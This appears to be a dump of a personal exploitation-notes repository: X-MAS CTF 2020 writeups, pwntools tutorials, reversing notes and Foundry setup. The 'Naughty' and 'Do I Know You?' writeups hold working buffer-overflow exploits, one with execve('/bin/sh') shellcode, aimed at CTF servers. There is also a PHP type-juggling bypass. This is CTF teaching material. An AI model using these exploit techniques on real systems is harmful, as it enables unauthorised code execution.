101 | 102 | # HTB{r0p_m3_if_y0u_c4n!} 103 | ``` 104 | 105 | -------------------------------------------------------------------------------- /hackthebox/dream-diary-1/README.md: -------------------------------------------------------------------------------- 1 | # Dream Diary 1 2 | 3 | -------------------------------------------------------------------------------- /hackthebox/dream-diary-1/pwn/README.md: -------------------------------------------------------------------------------- 1 | # Pwn 2 | 3 | -------------------------------------------------------------------------------- /hackthebox/dream-diary-1/pwn/do-i-know-you.md: -------------------------------------------------------------------------------- 1 | # Do I Know You? 2 | 3 | If we disassemble, the solution is pretty clear. 4 | 5 | ```text 6 | [...] 7 | | 0x55c00f08685d 4889c7 mov rdi, rax 8 | │ 0x55c00f086860 b800000000 mov eax, 0 9 | │ 0x55c00f086865 e846feffff call sym.imp.gets 10 | │ 0x55c00f08686a 488b55f0 mov rdx, qword [var_10h] 11 | │ 0x55c00f08686e b8efbeadde mov eax, 0xdeadbeef 12 | │ 0x55c00f086873 4839c2 cmp rdx, rax 13 | │ ┌─< 0x55c00f086876 7522 jne 0x55c00f08689a 14 | │ │ 0x55c00f086878 488d3de90000. lea rdi, str.X_MAS_Fake_flag... 15 | [...] 16 | ``` 17 | 18 | `gets()` is used to take in input, then the contents of another local variable are compared to `0xdeadbeef`. Basic buffer overflow then overwrite a local variable: 19 | 20 | ```python 21 | from pwn import * 22 | 23 | elf = context.binary = ELF('./chall') 24 | p = remote('challs.xmas.htsp.ro', 2008) 25 | 26 | payload = b'A' * 32 27 | payload += p64(0xdeadbeef) 28 | 29 | p.sendlineafter('you?\n', payload) 30 | print(p.recvuntil('}')) 31 | ``` 32 | 33 | `X-MAS{ah_yes__i_d0_rememb3r_you}` 34 | 35 | -------------------------------------------------------------------------------- /hackthebox/dream-diary-1/pwn/naughty.md: -------------------------------------------------------------------------------- 1 | # Naughty 2 | 3 | ## Overview 4 | 5 | We receive a file called `chall`. NX is disabled, which is helpful. We inject shellcode, [use a `jmp rsp` gadget](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode#using-rsp) and execute our own shellcode. 6 | 7 | ## Decompilation 8 | 9 | `main()` is a fairly simple binary: 10 | 11 | ```c 12 | int main(int a1, char **a2, char **a3) 13 | { 14 | char input[46]; // [rsp+0h] [rbp-30h] BYREF 15 | __int16 check; // [rsp+2Eh] [rbp-2h] 16 | 17 | setvbuf(stdin, 0LL, 2, 0LL); 18 | setvbuf(stdout, 0LL, 2, 0LL); 19 | 20 | check = -6913; 21 | puts("Tell Santa what you want for XMAS"); 22 | fgets(input, 71, stdin); 23 | puts("Nice. Hope you haven't been naughty"); 24 | if ( check != -6913 ) 25 | { 26 | puts("Oh no....no gifts for you this year :(("); 27 | exit(0); 28 | } 29 | return 0LL; 30 | } 31 | ``` 32 | 33 | The buffer is `48` bytes long. After the buffer there is 16-bit integer `check`, which acts as a canary. Then there are 8 bytes for the stored RBP. The total input it `71`, meaning after the stored RBP we have 13 bytes of overflow, **including the RIP**. No ROP is possible. 34 | 35 | Note that the value `-6913` is actually `0xe4ff`. 36 | 37 | This was rather misleading as they gave you the LIBC. 38 | 39 | ## Exploitation 40 | 41 | Firstly: 42 | 43 | ```python 44 | from pwn import * 45 | 46 | elf = context.binary = ELF('./chall', checksec=False) 47 | 48 | if args.REMOTE: 49 | p = remote('challs.xmas.htsp.ro', 2000) 50 | else: 51 | p = process() 52 | 53 | jump_rsp = 0x40067f 54 | ``` 55 | 56 | Now we need some shellcode. pwntools' `shellcraft.sh()` is `2` bytes too long, so we'll have to make it manually. 57 | 58 | The general payload is as follows: 59 | 60 | * `/bin/sh\x00` so we have it in a known location \(relative to RSP\) 61 | * Shellcode 62 | * Padding 63 | * `0xe4ff` to overwrite the pseudo-canary 64 | * Padding 65 | * `jmp rsp` 66 | 67 | Now we need to decide _what_ shellcode we want to run. Well, since RSP points at the stack, we know that it will **always be a static offset off our buffer**. If we calculate it, we can just do 68 | 69 | ```text 70 | sub rsp, x 71 | jmp rsp 72 | ``` 73 | 74 | And execute the other half of our code! And at this point RSP will be exactly `8` bytes off `/bin/sh\x00`, so we can use it to populate RDI as well! 75 | 76 | ```python 77 | exploit = b'/bin/sh\x00' 78 | exploit += asm(''' 79 | xor rsi, rsi 80 | xor rdx, rdx 81 | lea rdi, [rsp-8] 82 | mov rax, 0x3b 83 | syscall 84 | ''') # rsi/rdx need to be null, rdi points at /bin/sh, rax execve syscall number 85 | exploit += b'A' * (46 - len(exploit)) # padding 86 | exploit += p16(0xe4ff) 87 | exploit += b'B' * 8 88 | exploit += p64(jump_rsp) 89 | exploit += asm(''' 90 | sub rsp, 0x38 91 | jmp rsp 92 | ''') # RSP point to beginning of shellcode, use this to point RIP there 93 | 94 | p.sendline(exploit) 95 | p.interactive() 96 | ``` 97 | 98 | `X-MAS{sant4_w1ll_f0rg1ve_y0u_th1s_y3ar}` 99 | 100 | -------------------------------------------------------------------------------- /hackthebox/dream-diary-1/web/README.md: -------------------------------------------------------------------------------- 1 | # Web 2 | 3 | Not really my forte, but here we go, I can only get better. 4 | 5 | -------------------------------------------------------------------------------- /hackthebox/dream-diary-1/web/php-master.md: -------------------------------------------------------------------------------- 1 | # PHP Master 2 | 3 | Once we visit the URL, we are shown some code: 4 | 5 | ```php 6 | 23 | ``` 24 | 25 | Clearly this is some type of [Type Juggling](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Type%20Juggling) exploit, but I'm not that familiar with it except for `0e` md5 hashes and stuff. However, there are some restrictions here: 26 | 27 | * There can be no `e` character in either parameter 28 | * The two parameters must be the same length 29 | * They can't strictly equal each other \(`!==`\) but they must loosely equal each other \(`==`\) 30 | 31 | PHP comparision is a known piece of junk, so we can find some weaknesses using [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Type%20Juggling). 32 | 33 | Once set of possible parameters is `01` and `1`, as they are both two characters long and - according to PHP's loose comparison - equal each other \(thanks to [**nrabulinski** ](https://github.com/nrabulinski)for this solution after the CTF\). It appears that objetcs are automatically **converted to numbers** for loose comparisions, as loose only compares _values_ while strict _also compares types_. Therefore the example above would both equal `1` under loose comparison. 34 | 35 | Another, more interesting set is `200` and `2E3` \(thanks to [03sunf](https://gist.github.com/03sunf/ada95212b624d9354b9f9cc46b14f387)\). Note that `2E3` is an **exponential**, equivalent to `2 * 10^2`. Once both are converted to integers, they pass the check. 36 | 37 | -------------------------------------------------------------------------------- /hackthebox/x-mas-ctf-2020.md: -------------------------------------------------------------------------------- 1 | # X-MAS CTF 2020 2 | 3 | I didn't manage to solve a huge number of these - I was quite busy, plus I suck - but I'll dump some writeups here for those I caught up on later. 4 | 5 | -------------------------------------------------------------------------------- /hosting-a-testnet-and-deploying-a-contract.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Using Foundry to start a local testnet and deploy a Solidity contract. 3 | --- 4 | 5 | # Hosting a Testnet and Deploying a Contract 6 | 7 | ## Foundry 8 | 9 | We use [Foundry](https://github.com/foundry-rs/foundry) for this. 10 | 11 | ## Developing a Contract 12 | 13 | ``` 14 | $ forge init 15 | ``` 16 | 17 | in the desired folder. 18 | 19 | ## Starting a Testnet 20 | 21 | ``` 22 | anvil 23 | ``` 24 | 25 | This will give you an RPC URL, plus 10 accounts and their private keys. 26 | 27 | ## Deploying a Contract 28 | 29 | ``` 30 | forge create --rpc-url 127.0.0.1:8545 src/Counter.sol:Counter --private-key 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 --broadcast 31 | ``` 32 | 33 | * The RPC URL should be the one provided by `anvil` 34 | * `src/Counter.sol` is the file path to the smart contract's Solidity source code 35 | * `Counter` is the name of the smart contract 36 | * `--private-key` is one of the private keys displayed by `anvil` 37 | * `--broadcast` broadcasts the deployment of the transaction 38 | 39 | ``` 40 | Deployer: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 41 | Deployed to: 0x5FbDB2315678afecb367f032d93F642f64180aa3 42 | Transaction hash: 0x9c43e48790455815acecf9e5ae2a835daac756fe3f8164eb1a294bf7a768e00e 43 | ``` 44 | 45 | Without the `--broadcast`, foundry will do a "dry run" - simulate the contract's execution without actually deploying it. Broadcasting it will return an address! 46 | 47 | ## Interacting with the Contract 48 | 49 | We can increment the counter as follows: 50 | 51 | ``` 52 | $ cast send 0x5FbDB2315678afecb367f032d93F642f64180aa3 "increment()" --private-key 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 --rpc-url 127.0.0.1:8545 53 | 54 | blockHash 0x85443db3aa3b5761016586e3cb720b28fda0819f179a9ed4f7b45b12fe849695 55 | blockNumber 2 56 | contractAddress 57 | cumulativeGasUsed 43517 58 | effectiveGasPrice 876013326 59 | from 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 60 | gasUsed 43517 61 | logs [] 62 | logsBloom 0x00[...] 63 | root 64 | status 1 (success) 65 | transactionHash 0x35d8a6b48a3cef67a9301b6c4d818b294e6ad1eac7e219870d9afd49e3984265 66 | transactionIndex 0 67 | type 2 68 | blobGasPrice 1 69 | blobGasUsed 70 | authorizationList 71 | to 0x5FbDB2315678afecb367f032d93F642f64180aa3 72 | ``` 73 | 74 | `cast send` is used for transactions that **write to the blockchain**, and therefore **require signing**. 75 | 76 | `getCounter()` is a `view` function, so does not require a transaction to call. We use `cast call` instead, which does not requires a private key: 77 | 78 | ``` 79 | $ cast call 0x5FbDB2315678afecb367f032d93F642f64180aa3 "getCounter()" --rpc-url 127.0.0.1:8545 80 | 0x0000000000000000000000000000000000000000000000000000000000000001 81 | ``` 82 | 83 | And we see it returns the value `1`! If we `cast send` another increment call and then `cast call` to read the counter again, we see it's incremented again: 84 | 85 | ``` 86 | $ cast call 0x5FbDB2315678afecb367f032d93F642f64180aa3 "getCounter()" --rpc-url 127.0.0.1:8545 87 | 0x0000000000000000000000000000000000000000000000000000000000000002 88 | ``` 89 | -------------------------------------------------------------------------------- /misc/cross-compiling-for-arm32.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Absolute pain 3 | --- 4 | 5 | # Cross-Compiling for arm32 6 | 7 | ## Basic Compilation 8 | 9 | Install [GCC multilib](https://stackoverflow.com/questions/54082459/fatal-error-bits-libc-header-start-h-no-such-file-or-directory-while-compili) and the [arm32 cross-platform toolchain](https://askubuntu.com/questions/250696/how-to-cross-compile-for-arm) 10 | 11 | ```bash 12 | sudo apt-get install gcc-multilib gcc-arm-linux-gnueabihf 13 | ``` 14 | 15 | [Add the `CC` variable to the `Makefile`](https://askubuntu.com/questions/250696/how-to-cross-compile-for-arm) for `gcc`: 16 | 17 | ``` 18 | CC=arm-linux-gnueabihf-gcc 19 | ``` 20 | 21 | ### Compiling Libraries (seccomp) 22 | 23 | Extra step required. We have to [add the architecture](https://forums.debian.net/viewtopic.php?t=138023), then update to get the packages: 24 | 25 | ```bash 26 | sudo dpkg --add-architecture armhf 27 | sudo apt-get update 28 | ``` 29 | 30 | Finally, install `libseccomp-dev` for `armhf`: 31 | 32 |
sudo apt-get install libseccomp-dev:armhf
33 | 
34 | -------------------------------------------------------------------------------- /misc/pwntools/README.md: -------------------------------------------------------------------------------- 1 | # pwntools 2 | 3 | This Section is a run-through of the most useful features in python's `pwntools` library. 4 | 5 | -------------------------------------------------------------------------------- /misc/pwntools/elf.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | tags: pwn 4 | categories: pwntools 5 | --- 6 | 7 | # ELF 8 | 9 | The pwntools `ELF` class is the most useful class you will probably ever need, so understanding the full power of it _will_ make your life easier. Essentially, the `ELF` class allows you to look up variables at runtime and stop hardcoding. 10 | 11 | ## Creating an ELF object 12 | 13 | Creating an ELF object is very simple. 14 | 15 | ```python 16 | elf = ELF('./vulnerable_program') 17 | ``` 18 | 19 | ## Getting a process 20 | 21 | Rather than specifying another process, we can just get it from the `ELF`: 22 | 23 | ```python 24 | p = elf.process() 25 | ``` 26 | 27 | ## The PLT and GOT 28 | 29 | Want to do a `ret2plt`? Easy peasy. 30 | 31 | ```python 32 | puts_plt = elf.plt['puts'] 33 | puts_got = elf.got['puts'] 34 | ``` 35 | 36 | ## Functions 37 | 38 | Need to return to a function called `vuln`? Don't bother using a disassembler or debugger to find where it is. 39 | 40 | ```python 41 | main_address = elf.functions['vuln'] 42 | ``` 43 | 44 | Note that `elf.functions` returns a `Function` object, so if you only want the address you can use `elf.symbols`: 45 | 46 | ```python 47 | main_address = elf.symbols['symbol'] 48 | ``` 49 | 50 | ## elf.libc 51 | 52 | When local, we can grab the `libc` the binary is running with. Easy peasy. 53 | 54 | ```python 55 | libc = elf.libc 56 | ``` 57 | 58 | ## elf.search\(needle, writable=False\) 59 | 60 | Search the entire binary for a specific sequence `needle` of characters. Very useful when trying to do a `ret2libc`. If `writable` is set it only checks for sections in memory that you can write to. Note this returns a **generator** so if you want the first match you have to enclose it in `next()`. 61 | 62 | ```python 63 | binsh = next(libc.search(b'/bin/sh\x00')) 64 | ``` 65 | 66 | ## elf.address 67 | 68 | `elf.address` is the base address of the binary. If the binary does not have PIE enabled, then it's absolute; if it does, all addresses are relative \(they pretend the binary base is `0x0`\). 69 | 70 | Setting the `address` value automatically updates the address of `symbols`, `got`, `plt` and `functions`, which makes it invaluable when adjusting for PIE or ASLR. 71 | 72 | Let's say you leak the base address of `libc` while ASLR is enabled; with pwntools, it's ridiculously easy to get the location of `system` for a `ret2libc`. 73 | 74 | ```python 75 | libc = elf.libc 76 | libc.address = 0xf7f23000 # You 'leaked' this 77 | 78 | system = libc.symbols['system'] 79 | binsh = next(libc.search(b'/bin/sh\x00')) 80 | exit_addr = libc.symbols['exit'] 81 | 82 | # Now you can do the ret2libc 83 | ``` 84 | 85 | -------------------------------------------------------------------------------- /misc/pwntools/introduction.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: Introduction to Pwntools 4 | tags: pwn 5 | categories: pwntools 6 | --- 7 | 8 | # Introduction 9 | 10 | ## Pwntools 11 | 12 | Pwntools is an immensely powerful framework used primarily for binary exploitation, but I have also used it for an challenges that require sockets due to how simplified such interactions are with it. 13 | 14 | Here we will be using the **python** version of pwntools, though there is also a Ruby version. 15 | 16 | ## Installation 17 | 18 | The installation is as simple as it can be with python. 19 | 20 | ```python 21 | pip3 install pwntools 22 | ``` 23 | 24 | ## Windows 25 | 26 | Unfortunately many features of pwntools are not available on Windows as it uses the `_curses` module, which is not available for Windows. 27 | 28 | -------------------------------------------------------------------------------- /misc/pwntools/logging_and_context.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: pwn 3 | categories: pwntools 4 | --- 5 | 6 | # Logging and Context 7 | 8 | ## Logging 9 | 10 | Logging is a very useful feature of pwntools that lets you know where in your code you've gotten up to, and you can log in different ways for different types of data. 11 | 12 | ### log.info(text) 13 | 14 | ``` 15 | >>> log.info('Binary Base is at 0x400000') 16 | [*] Binary Base is at 0x400000 17 | ``` 18 | 19 | ### log.success(text) 20 | 21 | ``` 22 | >>> log.success('ASLR bypassed! Libc base is at 0xf7653000') 23 | [+] ASLR bypassed! Libc base is at 0xf7653000 24 | ``` 25 | 26 | ### log.error(text) 27 | 28 | ``` 29 | >>> log.success('The payload is too long') 30 | [-] The payload is too long 31 | ``` 32 | 33 | ## Context 34 | 35 | `context` is a 'global' variable in pwntools that allows you to set certain values once and all future functions automatically use that data. 36 | 37 | ```python 38 | context.arch = 'i386' 39 | context.os = 'linux' 40 | context.endian = 'little' 41 | context.bits = 64 42 | ``` 43 | 44 | Now every time you generate shellcode or use the `p64()` and `u64()` functions it will be specifically designed to use the `context` variables, meaning it will _just work_. The power of pwntools.\ 45 | \ 46 | 47 | 48 | If you think that's a lot of setup, make it even simpler. 49 | 50 | ```python 51 | context.binary = './vulnerable_binary' 52 | ``` 53 | 54 | This enables you to do a lot more things as well - for example, if you run 55 | 56 | ```python 57 | p = process() 58 | ``` 59 | 60 | it will automatically use the `context` binary and you will not have to specify it again. 61 | -------------------------------------------------------------------------------- /misc/pwntools/packing.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: pwn 3 | categories: pwntools 4 | --- 5 | 6 | # Packing 7 | 8 | Packing with the in-built python `struct` module is often a pain with loads of unnecessary options to remember. pwntools makes this a breeze, using the `context` global variable to automatically calculate how the packing should work. 9 | 10 | ## p64(addr) 11 | 12 | Packs `addr` depending on `context`, which by default is **little-endian**.\ 13 | 14 | 15 | ```python 16 | p64(0x04030201) == b'\x01\x02\x03\x04' 17 | 18 | context.endian = 'big' 19 | p64(0x04030201) == b'\x04\x03\x02\x01' 20 | ``` 21 | 22 | {% hint style="info" %} 23 | `p64()` returns a bytes-like object, so you'll have to form your padding as `b'A'` instead of just `'A'`. 24 | {% endhint %} 25 | 26 | ## u64(data) 27 | 28 | Unpacks `data` depending on `context`; exact opposite of `p64()`. 29 | 30 | ## flat(\*args) 31 | 32 | Can take a bunch of arguments and packs them all according to `context`. The full functionality is quite [complex](http://docs.pwntools.com/en/stable/util/packing.html#pwnlib.util.packing.flat), but essentially: 33 | 34 | ```python 35 | payload = flat( 36 | 0x01020304, 37 | 0x59549342, 38 | 0x12186354 39 | ) 40 | ``` 41 | 42 | is equivalent to 43 | 44 | ```python 45 | payload = p64(0x01020304) + p64(0x59549342) + p64(0x12186354) 46 | ``` 47 | 48 | {% hint style="danger" %} 49 | `flat()` uses `context`, so unless you specify that it is 64 bits it will attempt to pack it as 32 bits. 50 | {% endhint %} 51 | -------------------------------------------------------------------------------- /misc/pwntools/processes_and_communication.md: -------------------------------------------------------------------------------- 1 | --- 2 | tags: pwn 3 | categories: pwntools 4 | --- 5 | 6 | # Processes and Communication 7 | 8 | ## Processes 9 | 10 | A `process` is the main way you interact with something in pwntools, and starting one is easy. 11 | 12 | ```python 13 | p = process('./vulnerable_binary') 14 | ``` 15 | 16 | You can also start **remote** processes and connect to sockets using `remote`: 17 | 18 | ```python 19 | p = remote('my.special.ip', port) 20 | ``` 21 | 22 | ## Sending Data to Processes 23 | 24 | The power of `pwntools` is incredibly simple communication with your processes. 25 | 26 | ### p.send(data) 27 | 28 | Sends `data` to the process. Data can either be a `string` or a `bytes-like object` - pwntools handles it all for you. 29 | 30 | ### p.sendline(data) 31 | 32 | Sends `data` to the process, followed by a **newline character** `\n`. Some programs require the `\n` to take in the input (think about how you need to hit the enter key to send the data with `nc`) while others don't. 33 | 34 | `p.sendline(data)` is equivalent to `p.send(data + '\n')`\ 35 | 36 | 37 | {% hint style="danger" %} 38 | An incorrect number of these may cause your exploit to stall when there's nothing wrong with it. This should be the first thing you check. If you're uncertain, use `p.clean()` instead. 39 | {% endhint %} 40 | 41 | ## Receiving Data From Processes 42 | 43 | ### p.recv(numb) 44 | 45 | Receives `numb` bytes from the process. 46 | 47 | ### p.recvuntil(delimiter, drop=False) 48 | 49 | Receives all the data until it encounters the `delimiter`, after which it returns the data. If `drop` is `True` then the returned data does not include the `delimiter`. 50 | 51 | ### p.recvline(keepends=True) 52 | 53 | Essentially equivalent to `p.recvuntil('\n', drop=keepends)`.\ 54 | Receives up until a `\n` is reached, then returns the data including the `\n` if `keepends` is `True`. 55 | 56 | ### p.clean(timeout=0.02) 57 | 58 | Receives **all** data for `timeout` seconds and returns it. Another similar function is `p.recvall()`, but this regularly takes far too long to execute so `p.clean()` is much better. 59 | 60 | ### Timeout 61 | 62 | All receiving functions all contain a `timeout` parameter as well as the other listed ones.\ 63 | For example, `p.recv(numb=16, timeout=1)` will execute but if `numb` bytes are not received within `timeout` seconds the data is buffered for the next receiving function and an empty string `''` is returned. 64 | -------------------------------------------------------------------------------- /misc/pwntools/rop.md: -------------------------------------------------------------------------------- 1 | # ROP 2 | 3 | The `ROP` class is insanely powerful, enabling you to create readable ropchains in many less lines. 4 | 5 | ## Creating a ROP object 6 | 7 | ```python 8 | rop = ROP(elf) 9 | ``` 10 | 11 | ## Adding Padding 12 | 13 | ```python 14 | rop.raw('A' * 64) 15 | ``` 16 | 17 | ## Adding a Packed Value 18 | 19 | ```python 20 | rop.raw(0x12345678) 21 | ``` 22 | 23 | ## Calling the Function win\(\) 24 | 25 | ```python 26 | rop.win() 27 | ``` 28 | 29 | And if you need parameters: 30 | 31 | ```python 32 | rop.win(0xdeadc0de, 0xdeadbeef) 33 | ``` 34 | 35 | ## Dumping the Logic 36 | 37 | ```python 38 | from pwn import * 39 | 40 | elf = context.binary = ELF('./showcase') 41 | rop = ROP(elf) 42 | 43 | rop.win1(0x12345678) 44 | rop.win2(0xdeadbeef, 0xdeadc0de) 45 | rop.flag(0xc0ded00d) 46 | 47 | print(rop.dump()) 48 | ``` 49 | 50 | `dump()` output: 51 | 52 | ```text 53 | 0x0000: 0x40118b pop rdi; ret 54 | 0x0008: 0x12345678 [arg0] rdi = 305419896 55 | 0x0010: 0x401102 win1 56 | 0x0018: 0x40118b pop rdi; ret 57 | 0x0020: 0xdeadbeef [arg0] rdi = 3735928559 58 | 0x0028: 0x401189 pop rsi; pop r15; ret 59 | 0x0030: 0xdeadc0de [arg1] rsi = 3735929054 60 | 0x0038: 'oaaapaaa' 61 | 0x0040: 0x40110c win2 62 | 0x0048: 0x40118b pop rdi; ret 63 | 0x0050: 0xc0ded00d [arg0] rdi = 3235827725 64 | 0x0058: 0x401119 flag 65 | ``` 66 | 67 | ## Sending the Chain 68 | 69 | ```python 70 | p.sendline(rop.chain()) 71 | ``` 72 | 73 | ## Showcase 74 | 75 | Without pwntools: 76 | 77 | ```python 78 | payload = flat( 79 | POP_RDI, 80 | 0xdeadc0de, 81 | elf.sym['win1'], 82 | POP_RDI, 83 | 0xdeadbeef, 84 | POP_RSI, 85 | 0x98765432, 86 | elf.sym['win2'], 87 | POP_RDI, 88 | 0x54545454, 89 | elf.sym['flag'] 90 | ) 91 | 92 | p.sendline(payload) 93 | ``` 94 | 95 | With pwntools: 96 | 97 | ```python 98 | rop.win1(0xdeadc0de) 99 | rop.win2(0xdeadbeef, 0x98765432) 100 | rop.flag(0x54545454) 101 | 102 | p.sendline(rop.chain()) 103 | ``` 104 | 105 | -------------------------------------------------------------------------------- /misc/scanf-bypasses.md: -------------------------------------------------------------------------------- 1 | # scanf Bypasses 2 | 3 | Sometimes you want `scanf` to not read anything, but continue standard execution. By this I mean that it **takes** your input, but it doesn't store it in memory, leaving the stack or heap untouched. 4 | 5 | This might be because you have a sequential or iterative OOB write, but there is a canary in the way. Alternatively, the location you are writing to is **uninitialized** but the data gets printed back and you want to leak pointers this way (e.g. [Control Room](https://app.hackthebox.com/challenges/Control%20Room) on Hack The Box). 6 | 7 | So, here are a few inputs for different specifiers that help bypass this! Please do let me know of any more. 8 | 9 |
Scanf SpecifierBypass
%d, %ldnegative sign -
%f, %lfdecimal point/full stop .
10 | -------------------------------------------------------------------------------- /rev/c++-decompilation-tricks.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: How decompilers do stuff 3 | --- 4 | 5 | # C++ Decompilation Tricks 6 | 7 | These tricks include notes for Binary Ninja, but IDA looks similar (and I'm sure GHidra does too). 8 | 9 | Example code: 10 | 11 | ```cpp 12 | char rax_3 = *std::vector::operator[](&vector, sx.q(j)) 13 | *std::vector::operator[](&vector, sx.q(j)) = *std::string::operator[](arg1, other: j) ^ rax_3 14 | ``` 15 | 16 | Looks really bizarre and overwhelming, but look at the words. `std::vector::operator[]` literally means the operator `[]`, the subscript operator. It wants the subscript of the first parameter, with the second parameter being the argument. So 17 | 18 | ```cpp 19 | std::vector::operator[](&vector, sx.q(j)) 20 | ``` 21 | 22 | Is really just 23 | 24 | ```cpp 25 | vector[j] 26 | ``` 27 | 28 | Also, if it doesn't make sense, change types to add extra arguments! Detection is pretty trash, and it might help a lot. 29 | 30 | A non-exhaustive list is: 31 | 32 |
DecompilationMeaningParameter(s)
std::T::~TDestructor of class TT*
std::vector<T>::operator[](&vector, sx.q(j))vector[j]T*, int64_t
33 | -------------------------------------------------------------------------------- /rev/reverse-engineering-arm.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: >- 3 | Just a ragged collection of notes before I do anything proper - do not take 4 | this as gospel! I am doing ARM reversing on my M1 MacBook for fun... 5 | --- 6 | 7 | # Reverse Engineering ARM 8 | 9 | ARM works a bit differently to intel x86 architecture in the way it uses registers and how instructions are formed. 10 | 11 | ## Registers 12 | 13 | * `SP` - Stack Pointer (same as ESP - points to top of the stack) 14 | * `x29` - the Frame Pointer, `FP`, points to the base of the current functions stack frame (similar to EBP) 15 | * `x30` - the Link Register, `LR`, which stores the return address of a function (the return pointer) 16 | * `PC` - the Program Counter (aka Instruction Pointer) pointing to the next 17 | 18 | The calling convention in ARM works similarly to x86: 19 | 20 | ``` 21 | // drop down SP 22 | sub sp, sp, 0x20 23 | 24 | // Save FP and LR to the stack 25 | stp x29, x30, [var_10h] 26 | 27 | // Set up a new stack frame by updating x29 to SP+0x10 28 | add x29, sp, 0x10 29 | 30 | // ... function execution ... 31 | 32 | // Restore FP and LR 33 | ldp X29, X30, [SP], [var_10h] 34 | 35 | // Return 36 | ret 37 | ``` 38 | 39 | Even though it does roughly the same stuff, there are a few differences between x86 and ARM64. 40 | 41 | Firstly, a lot of instructions take 3 parameters now: 42 | 43 | ``` 44 | sub sp, sp, 0x20 45 | ``` 46 | 47 | The first parameter here (as well as for other functions such as `add`) is the register to store the result in. In x86, we assume that the first register that we are adding also stores the result, but ARM makes it explicit. 48 | 49 | The `stp` instruction has no direct x86 equivalent (as far as I am aware!). Essentially, the first two parameters provide registers and the third parameter tells it where in. memory to save the values. For example, the following instruction stores `x29` and `x30` to memory location `var_10h`: 50 | 51 | ``` 52 | stp x29, x30, [var_10h] 53 | ``` 54 | 55 | {% hint style="warning" %} 56 | I'm not really sure what `var_10h` refers to - Cutter says\ 57 | `var_10h @ stack - 0x10`\ 58 | but I don't know exactly what it uses as a reference point - todo moment... 59 | {% endhint %} 60 | 61 | Finally, the `ret` instruction is executed. `ret` transfers the value in `x30` (`LR`) to `PC` to return execution to the next instruction after the call to the function. 62 | -------------------------------------------------------------------------------- /rev/strings-in-c++.md: -------------------------------------------------------------------------------- 1 | # Strings in C++ 2 | 3 | ## Basic Strings 4 | 5 | Reversing C++ can be a pain, and part of the reason for that is that in C++ a `std::string` can be dynamically-sized. This means its appearance in memory is more complex than a `char[]` that you would find in C, because `std::string` [actually contains 3 fields](https://shaharmike.com/cpp/std-string/): 6 | 7 | * Pointer to the allocated memory (the actual string itself) 8 | * Logical size of string 9 | * Size of allocated memory (which must be bigger than or equal to logical size) 10 | 11 | The actual string content is dynamically allocated on the **heap**. As a result, `std::string` looks something like this in memory: 12 | 13 | ```cpp 14 | class std::string 15 | { 16 | char* buf; 17 | size_t len; 18 | size_t allocated_len; 19 | }; 20 | ``` 21 | 22 | This is not necessarily a _consistent_ implementation, which is why many decompilers don't recognise strings immediately - they can vary between compilers and different versions. 23 | 24 | ## Small Object Optimization 25 | 26 | Decompilers can confuse us even more depending on how they optimise small objects. Simply put, we would prefer to avoid allocating space on the heap unless absolutely necessary, so if the string is short enough, we try to fit it within the `std::string` struct itself. For example: 27 | 28 | ```cpp 29 | class std::string 30 | { 31 | char* buf; 32 | size_t len; 33 | 34 | // union is used to store different data types in the same memory location 35 | // this saves space in case only one of them is necessary 36 | union 37 | { 38 | size_t allocated_len; 39 | char local_buf[8]; 40 | }; 41 | }; 42 | ``` 43 | 44 | In this example, if the string is 8 bytes or less, `local_buf` is used and the string is stored there instead. `buf` will then point at `local_buf`, and no heap allocation is used. 45 | 46 | An analysis of different compilers' approaches to Small Object Optimization can be found [here](https://shaharmike.com/cpp/std-string/). 47 | -------------------------------------------------------------------------------- /smart-contracts-and-solidity.md: -------------------------------------------------------------------------------- 1 | # Smart Contracts and Solidity 2 | 3 | TODO - an explanation of what smart contrats are 4 | 5 | ## Contract Source 6 | 7 | ```solidity 8 | // SPDX-License-Identifier: MIT 9 | pragma solidity ^0.8.13; 10 | 11 | contract Counter { 12 | uint256 private counter; 13 | 14 | constructor() { 15 | counter = 0; 16 | } 17 | 18 | function increment() external { 19 | counter += 1; 20 | } 21 | 22 | function getCounter() external view returns (uint256) { 23 | return counter; 24 | } 25 | } 26 | ``` 27 | -------------------------------------------------------------------------------- /types/heap/double-free/exploiting-a-double-free.md: -------------------------------------------------------------------------------- 1 | # Exploiting a Double-Free 2 | 3 | -------------------------------------------------------------------------------- /types/stack/got-overwrite.md: -------------------------------------------------------------------------------- 1 | # GOT Overwrite 2 | 3 | TODO 4 | 5 | -------------------------------------------------------------------------------- /types/stack/reliable-shellcode.md: -------------------------------------------------------------------------------- 1 | # Reliable Shellcode 2 | 3 | TODO 4 | 5 | -------------------------------------------------------------------------------- /types/stack/ret2csu.md: -------------------------------------------------------------------------------- 1 | # ret2csu 2 | 3 | TODO 4 | 5 | -------------------------------------------------------------------------------- /types/stack/stack-pivoting.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Lack of space for ROP 3 | --- 4 | 5 | # Stack Pivoting 6 | 7 | TODO 8 | 9 | -------------------------------------------------------------------------------- /types/stack/unusual-techniques/untitled.md: -------------------------------------------------------------------------------- 1 | # ret2dlresolve 2 | 3 | -------------------------------------------------------------------------------- /writeups/ctfs/README.md: -------------------------------------------------------------------------------- 1 | # CTFs 2 | 3 | -------------------------------------------------------------------------------- /writeups/ctfs/fword-ctf-2020/README.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: 'https://ctftime.org/event/1066' 3 | --- 4 | 5 | # Fword CTF 2020 6 | 7 | {% hint style="warning" %} 8 | I did not solve the vast majority of challenges I am writing up here, but instead I am doing it to consolidate my own understanding of it. I also hope the writeups you find here help you understand the challenge, and if they did then it's fulfilled it's purpose and whether or not I originally completed them is irrelevant :\) 9 | {% endhint %} 10 | 11 | 12 | 13 | 